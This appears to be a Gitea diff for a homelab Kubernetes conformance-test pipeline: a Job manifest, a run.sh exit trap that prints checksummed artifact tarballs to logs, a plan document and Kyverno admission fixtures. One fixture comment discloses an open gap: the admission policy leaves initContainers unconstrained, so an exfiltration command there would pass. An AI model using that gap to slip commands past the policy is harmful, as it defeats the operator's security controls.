image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
workingDir: /workspace/src/conformance
|
||||
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
|
||||
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||
command: ["./run.sh"]
|
||||
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||
args: ["--layer", "all", "--strict-coverage"]
|
||||
env:
|
||||
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||
# artifact tree onto the `results` volume. It cannot live at its default
|
||||
# conformance/_artifacts, because a volume mounted inside the clone target
|
||||
# would make that directory non-empty and `git clone` would refuse it.
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
|
||||
# base64 tar over an operator's terminal.
|
||||
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||
value: "1"
|
||||
- name: TMPDIR
|
||||
value: /workspace/tmp
|
||||
- name: HOME
|
||||
value: /workspace/home
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /results }
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
runAsNonRoot: true
|
||||
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
|
||||
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
|
||||
# node without starving the suite.
|
||||
resources:
|
||||
requests: { cpu: 250m, memory: 512Mi }
|
||||
limits: { cpu: "2", memory: 2Gi }
|
||||
volumes:
|
||||
# Suite source: populated by an init-container git clone of the impl repo at
|
||||
# the commit under test, OR a Flux-synced source volume. (Init container
|
||||
# omitted from this skeleton; wire in T-6.1b.)
|
||||
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
|
||||
# Suite source, written by the init container: /workspace/src is the checkout,
|
||||
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
|
||||
# for a results PVC if durability beyond pod lifetime is required.
|
||||
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
|
||||
# carries; an emptyDir is sufficient because the transport is the log, not the
|
||||
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
+111
-1
@@ -60,6 +60,17 @@
|
||||
# _artifacts/status/status.md human requirement-status report (--status)
|
||||
# _artifacts/status/status.json machine requirement-status report (--status)
|
||||
#
|
||||
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
|
||||
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
|
||||
# conformance/_artifacts (the Job mounts a `results`
|
||||
# volume, which cannot sit inside the git-clone target).
|
||||
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
|
||||
# checksummed base64 tar of the artifact tree to STDOUT,
|
||||
# because `kubectl logs` is the only channel CI has out of
|
||||
# the Job (no pods/exec, no kubectl cp). See the RESULTS
|
||||
# TRANSPORT block below for the envelope and for the five
|
||||
# checks a collector MUST make. Never set this locally.
|
||||
#
|
||||
# Run ledger (TRACKED — commit these; --record only):
|
||||
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
||||
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
||||
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
|
||||
# shellcheck source=versions.env
|
||||
source "${CONF_ROOT}/versions.env"
|
||||
|
||||
ARTIFACTS="${CONF_ROOT}/_artifacts"
|
||||
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
|
||||
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
|
||||
# path, because that path is inside the directory the init container `git clone`s into and
|
||||
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
|
||||
# a local run is byte-identical to what it always was.
|
||||
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
|
||||
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
||||
STATUS_OUT="${ARTIFACTS}/status"
|
||||
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
||||
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
|
||||
exit "${RUN_RC}"
|
||||
fi
|
||||
|
||||
###############################################################################
|
||||
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
|
||||
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
|
||||
#
|
||||
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
|
||||
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
|
||||
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
|
||||
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
|
||||
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
|
||||
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
|
||||
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
|
||||
# ships its JUnit — the red report is the evidence the gate needs most.
|
||||
#
|
||||
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
|
||||
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
|
||||
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
|
||||
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
|
||||
# needed to PROVE completeness, and carries it TWICE:
|
||||
#
|
||||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
# <base64 of the .tgz, wrapped at 76 columns>
|
||||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
#
|
||||
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
|
||||
# never as "no artifacts", never as a pass:
|
||||
# 1. exactly one BEGIN line and exactly one END line;
|
||||
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
|
||||
# means two interleaved or re-emitted envelopes in one log;
|
||||
# 3. the count of body lines between them equals lines=;
|
||||
# 4. the decoded byte count equals bytes=;
|
||||
# 5. sha256 of the decoded bytes equals sha256=.
|
||||
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
|
||||
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
|
||||
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
|
||||
# which is the whole design requirement.
|
||||
#
|
||||
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
|
||||
# against the Job's completion condition instead of trusting either signal alone.
|
||||
#
|
||||
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
|
||||
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
|
||||
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
|
||||
# entry changed with the environment would be a trap for the collector. It unpacks the
|
||||
# contents wherever it likes.
|
||||
#
|
||||
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
|
||||
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
|
||||
###############################################################################
|
||||
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
|
||||
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
|
||||
|
||||
conf_emit_artifacts_tgz() {
|
||||
local rc="${1:-0}"
|
||||
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
|
||||
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
|
||||
# change the run's verdict — nothing here can turn a red run green or a green run red.
|
||||
trap - EXIT
|
||||
(
|
||||
set +e
|
||||
local tmp tgz b64 bytes lines sha payload
|
||||
tmp="${TMPDIR:-/tmp}"
|
||||
tgz="${tmp}/conformance-artifacts.$$.tgz"
|
||||
b64="${tgz}.b64"
|
||||
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
|
||||
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
|
||||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
|
||||
rm -f "${tgz}"
|
||||
exit 0
|
||||
fi
|
||||
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
|
||||
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
|
||||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
|
||||
rm -f "${tgz}" "${b64}"
|
||||
exit 0
|
||||
fi
|
||||
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
|
||||
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
|
||||
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
|
||||
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
|
||||
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||
cat "${b64}"
|
||||
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||
rm -f "${tgz}" "${b64}"
|
||||
exit 0
|
||||
)
|
||||
exit "${rc}"
|
||||
}
|
||||
|
||||
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
|
||||
# emits a second envelope into its child's tee'd log.
|
||||
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
|
||||
trap 'conf_emit_artifacts_tgz "$?"' EXIT
|
||||
fi
|
||||
|
||||
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
||||
gen_coverage() {
|
||||
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
||||
|
||||
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
|
||||
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
||||
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
||||
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
||||
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
|
||||
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
|
||||
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
||||
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
||||
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
||||
@@ -64,11 +64,27 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
||||
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
||||
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
||||
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
||||
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
|
||||
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
|
||||
Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow
|
||||
tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a
|
||||
`@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches
|
||||
`^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by
|
||||
**name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows
|
||||
only `workspace` and `results`. Still to do: build the runner image (item 1) and provision
|
||||
that Secret (item 6). Original text: → Add an
|
||||
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
||||
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
||||
`--requirements` are injected by the CI trigger step as Job env/args.
|
||||
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
|
||||
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
|
||||
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
|
||||
still ships its red JUnit — that prints the artifact tree as a base64 tar between
|
||||
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
|
||||
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
|
||||
collection instead of decoding to plausible garbage; the five checks the collector owes are
|
||||
spelled out above that function. It lives in `run.sh` and not in the Job because admission
|
||||
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
|
||||
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
|
||||
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
|
||||
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
||||
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
||||
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
||||
|
||||
@@ -19,20 +19,24 @@ resources:
|
||||
userinfo: user-info.yaml
|
||||
results:
|
||||
# ---- the committed run is ADMITTED ----
|
||||
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
|
||||
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
|
||||
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
|
||||
# 2am against the live cluster. `good-run` remains the minimal shape.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-create-only-the-committed-conformance-run
|
||||
kind: Job
|
||||
resources: [good-run]
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-volumes-must-be-workspace-or-results
|
||||
kind: Job
|
||||
resources: [good-run]
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-args-must-be-the-committed-flags
|
||||
kind: Job
|
||||
resources: [good-run]
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
|
||||
# ---- THE escalation: runner SA + arbitrary command ----
|
||||
|
||||
@@ -1,4 +1,79 @@
|
||||
# The committed shape — must be ADMITTED.
|
||||
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
|
||||
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
|
||||
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
|
||||
# `results` are the only two volume names admission allows. Must be ADMITTED.
|
||||
#
|
||||
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
|
||||
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
|
||||
# securityContext, and the presence of the init container) in step with it.
|
||||
#
|
||||
# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
|
||||
# container's command/args/image are unconstrained. Swapping its args for an exfiltration
|
||||
# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
|
||||
# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
|
||||
# case is deliberately NOT added here: it would have to assert `pass` today, and would then
|
||||
# break the very PR that fixes the policy.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: real-template
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
fsGroup: 65532
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/bin/bash", "-c"]
|
||||
args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
|
||||
env:
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "0123456789abcdef0123456789abcdef01234567"
|
||||
# BY SECRET NAME ONLY — and as env, not as a volume.
|
||||
- name: GITEA_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||
- name: GITEA_TOKEN
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
workingDir: /workspace/src/conformance
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
|
||||
env:
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||
value: "1"
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /results }
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# The minimal committed shape — must be ADMITTED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
|
||||
Reference in new issue
Block a user